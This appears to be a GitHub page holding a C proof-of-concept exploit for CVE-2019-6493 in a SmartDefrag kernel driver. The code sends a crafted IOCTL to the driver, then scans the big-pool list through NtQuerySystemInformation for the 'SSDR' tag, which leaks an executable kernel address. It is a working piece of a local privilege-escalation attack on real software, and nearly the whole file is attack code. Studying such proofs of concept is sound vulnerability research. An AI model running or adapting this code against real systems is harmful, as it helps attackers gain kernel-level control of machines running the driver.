-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathCVE-2019-6493.c
81 lines (77 loc) · 3.55 KB
/
CVE-2019-6493.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <windows.h>
#include <stdio.h>
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
typedef unsigned long long QWORD; // DWORD64
// Source of structs: http://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/bigpool_entry.htm
typedef struct _SYSTEM_BIGPOOL_ENTRY {
union {
PVOID VirtualAddress;
ULONG_PTR NonPaged : 1;
};
ULONG_PTR SizeInBytes;
union {
UCHAR Tag[4];
ULONG TagULong;
};
} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY;
typedef struct _SYSTEM_BIGPOOL_INFORMATION {
ULONG Count;
SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ANYSIZE_ARRAY];
} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION;
// Source of enum http://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/query.htm?tx=53&ts=0,16.66666603088379
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBigPoolInformation = 0x42
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI *fNtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation,
ULONG SystemInformationLength, PULONG ReturnLength);
int main(int argc, char* argv[]) {
HANDLE hDriver = CreateFileW(L"\\\\.\\SmartDefragDevice", GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, 0, NULL); // Get a handle to the driver
if (hDriver != INVALID_HANDLE_VALUE) {
printf("[i] Found driver\n");
LPVOID lpInMemoryArea = VirtualAlloc((LPVOID)0x41000000, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpInMemoryArea == NULL) {
printf("[!!!] Unable to allocate memory\n");
ExitProcess(-1);
}
else {
printf("[i] Allocated memory\n");
memset(lpInMemoryArea, 0xEE, 0x1000); // Clear memory area
}
DWORD dwBytesOut = 0;
DWORD dwIoctl = 0x9C401CC0;
// nInBufferSize MUST be >= 0x1000 in order to count as a "big" kernel pool
NTSTATUS dwLastError = DeviceIoControl(hDriver, dwIoctl, lpInMemoryArea, 0x1000, NULL, 0, &dwBytesOut, NULL);
HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll == INVALID_HANDLE_VALUE) {
printf("[!!!] Unable to load ntdll.dll\n");
ExitProcess(-1);
}
fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
printf("[i] Allocating a heap\n");
DWORD nHeapSize = 0x2000;
LPVOID lpHeap = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0);
do {
nHeapSize += 0x2000;
lpHeap = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lpHeap, nHeapSize);
} while (NtQuerySystemInformation(SystemBigPoolInformation, lpHeap, nHeapSize, &dwBytesOut) == STATUS_INFO_LENGTH_MISMATCH);
PSYSTEM_BIGPOOL_INFORMATION pSystemBigPoolInfo = lpHeap;
PSYSTEM_BIGPOOL_ENTRY pCurrentBigPoolEntry = pSystemBigPoolInfo->AllocatedInfo;
printf("[i] Scanning for pool tag: SSDR\n");
QWORD qwLeakedPoolAddr = 0;
UCHAR matchTag[] = { 'R', 'D', 'D','S' }; // No newline char (big endian)
for (int i = 0; i < pSystemBigPoolInfo->Count; i++) {
if (strncmp(pCurrentBigPoolEntry->Tag, &matchTag, 4) == 0) {
printf("[i] Found SSDR @ Address: %I64X\n", (QWORD)pCurrentBigPoolEntry->VirtualAddress - 1);
qwLeakedPoolAddr = (QWORD)pCurrentBigPoolEntry->VirtualAddress - 1; // For some reason it's always -1
// qwLeakedPoolAddr is now a known executable location in kernel address space
}
pCurrentBigPoolEntry++; // Next entry in SYSTEM_BIGPOOL_INFORMATION
}
}
else {
printf("[!!!] Unable to find driver\n");
ExitProcess(-1);
}
ExitProcess(0);
}